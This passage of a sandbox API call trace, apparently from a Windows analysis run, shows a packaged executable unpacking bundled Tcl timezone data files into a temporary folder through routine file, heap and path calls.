lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.932] GetFileType (hFile=0x10c) returned 0x1 [0042.932] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.932] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.933] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.933] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.933] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.933] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.933] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.933] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.933] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.933] CloseHandle (hObject=0x10c) returned 1 [0042.933] GetLastError () returned 0x0 [0042.933] SetLastError (dwErrCode=0x0) [0042.933] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian") returned 63 [0042.933] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.933] GetLastError () returned 0x2 [0042.933] SetLastError (dwErrCode=0x2) [0042.933] GetLastError () returned 0x2 [0042.933] SetLastError (dwErrCode=0x2) [0042.933] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian", lpFilePart=0x0) returned 0x3e [0042.933] GetLastError () returned 0x2 [0042.933] SetLastError (dwErrCode=0x2) [0042.933] GetLastError () returned 0x2 [0042.933] SetLastError (dwErrCode=0x2) [0042.933] GetLastError () returned 0x2 [0042.933] SetLastError (dwErrCode=0x2) [0042.933] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), lpSecurityAttributes=0x0) returned 1 [0042.934] GetLastError () returned 0x2 [0042.934] SetLastError (dwErrCode=0x2) [0042.934] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Antananarivo") returned 76 [0042.934] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Antananarivo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\antananarivo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.934] GetLastError () returned 0x2 [0042.934] SetLastError (dwErrCode=0x2) [0042.934] GetLastError () returned 0x2 [0042.934] SetLastError (dwErrCode=0x2) [0042.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Antananarivo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Antananarivo", lpFilePart=0x0) returned 0x4b [0042.934] GetLastError () returned 0x2 [0042.934] SetLastError (dwErrCode=0x2) [0042.934] GetLastError () returned 0x2 [0042.934] SetLastError (dwErrCode=0x2) [0042.934] GetLastError () returned 0x2 [0042.934] SetLastError (dwErrCode=0x2) [0042.934] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Antananarivo") returned 76 [0042.934] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.934] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Antananarivo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\antananarivo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.934] GetFileType (hFile=0x10c) returned 0x1 [0042.935] htonl (hostlong=0xd2000000) returned 0xd2 [0042.935] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.935] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd2, lpOverlapped=0x0) returned 1 [0042.936] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.936] CloseHandle (hObject=0x10c) returned 1 [0042.936] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.936] htonl (hostlong=0x40000000) returned 0x40 [0042.936] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.936] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.936] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.936] GetFileType (hFile=0x10c) returned 0x1 [0042.936] htonl (hostlong=0x7d65c00) returned 0x5cd607 [0042.936] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618607, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.936] htonl (hostlong=0x94000000) returned 0x94 [0042.936] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x94) returned 0x55cfe0 [0042.936] htonl (hostlong=0x94000000) returned 0x94 [0042.936] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.937] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.937] htonl (hostlong=0xad000000) returned 0xad [0042.937] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xad) returned 0x550600 [0042.937] htonl (hostlong=0x94000000) returned 0x94 [0042.937] htonl (hostlong=0xad000000) returned 0xad [0042.937] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.937] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.937] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.937] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.937] CloseHandle (hObject=0x10c) returned 1 [0042.937] GetLastError () returned 0x0 [0042.937] SetLastError (dwErrCode=0x0) [0042.937] GetLastError () returned 0x0 [0042.937] SetLastError (dwErrCode=0x0) [0042.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.937] GetFileType (hFile=0x10c) returned 0x1 [0042.937] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.937] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.937] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.937] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.937] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.937] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.937] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.937] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.937] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.937] CloseHandle (hObject=0x10c) returned 1 [0042.938] GetLastError () returned 0x0 [0042.938] SetLastError (dwErrCode=0x0) [0042.938] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.938] GetFileType (hFile=0x10c) returned 0x1 [0042.938] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.938] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.938] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.938] CloseHandle (hObject=0x10c) returned 1 [0042.938] GetLastError () returned 0x0 [0042.938] SetLastError (dwErrCode=0x0) [0042.938] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian") returned 63 [0042.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.938] GetFileType (hFile=0x10c) returned 0x1 [0042.938] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.938] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.939] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.939] CloseHandle (hObject=0x10c) returned 1 [0042.939] GetLastError () returned 0x0 [0042.939] SetLastError (dwErrCode=0x0) [0042.939] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Chagos") returned 70 [0042.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Chagos" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\chagos"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.939] GetLastError () returned 0x2 [0042.939] SetLastError (dwErrCode=0x2) [0042.939] GetLastError () returned 0x2 [0042.939] SetLastError (dwErrCode=0x2) [0042.939] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Chagos", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Chagos", lpFilePart=0x0) returned 0x45 [0042.939] GetLastError () returned 0x2 [0042.939] SetLastError (dwErrCode=0x2) [0042.939] GetLastError () returned 0x2 [0042.939] SetLastError (dwErrCode=0x2) [0042.939] GetLastError () returned 0x2 [0042.939] SetLastError (dwErrCode=0x2) [0042.939] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Chagos") returned 70 [0042.939] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Chagos" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\chagos"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.940] GetFileType (hFile=0x10c) returned 0x1 [0042.940] htonl (hostlong=0xad000000) returned 0xad [0042.940] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.940] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xad, lpOverlapped=0x0) returned 1 [0042.940] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.941] CloseHandle (hObject=0x10c) returned 1 [0042.941] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.941] htonl (hostlong=0x30000000) returned 0x30 [0042.941] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.941] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.941] GetFileType (hFile=0x10c) returned 0x1 [0042.941] htonl (hostlong=0x9bd65c00) returned 0x5cd69b [0042.941] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61869b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.941] htonl (hostlong=0x8a000000) returned 0x8a [0042.941] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0042.941] htonl (hostlong=0x8a000000) returned 0x8a [0042.941] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.941] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.941] htonl (hostlong=0x94000000) returned 0x94 [0042.941] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x94) returned 0x550600 [0042.941] htonl (hostlong=0x8a000000) returned 0x8a [0042.941] htonl (hostlong=0x94000000) returned 0x94 [0042.941] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.941] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.941] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.941] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.941] CloseHandle (hObject=0x10c) returned 1 [0042.941] GetLastError () returned 0x0 [0042.942] SetLastError (dwErrCode=0x0) [0042.942] GetLastError () returned 0x0 [0042.942] SetLastError (dwErrCode=0x0) [0042.942] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.942] GetFileType (hFile=0x10c) returned 0x1 [0042.942] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.942] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.942] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.942] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.942] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.942] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.942] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.942] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.942] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.942] CloseHandle (hObject=0x10c) returned 1 [0042.942] GetLastError () returned 0x0 [0042.942] SetLastError (dwErrCode=0x0) [0042.942] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.942] GetFileType (hFile=0x10c) returned 0x1 [0042.942] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.942] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.942] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.942] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.943] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.943] CloseHandle 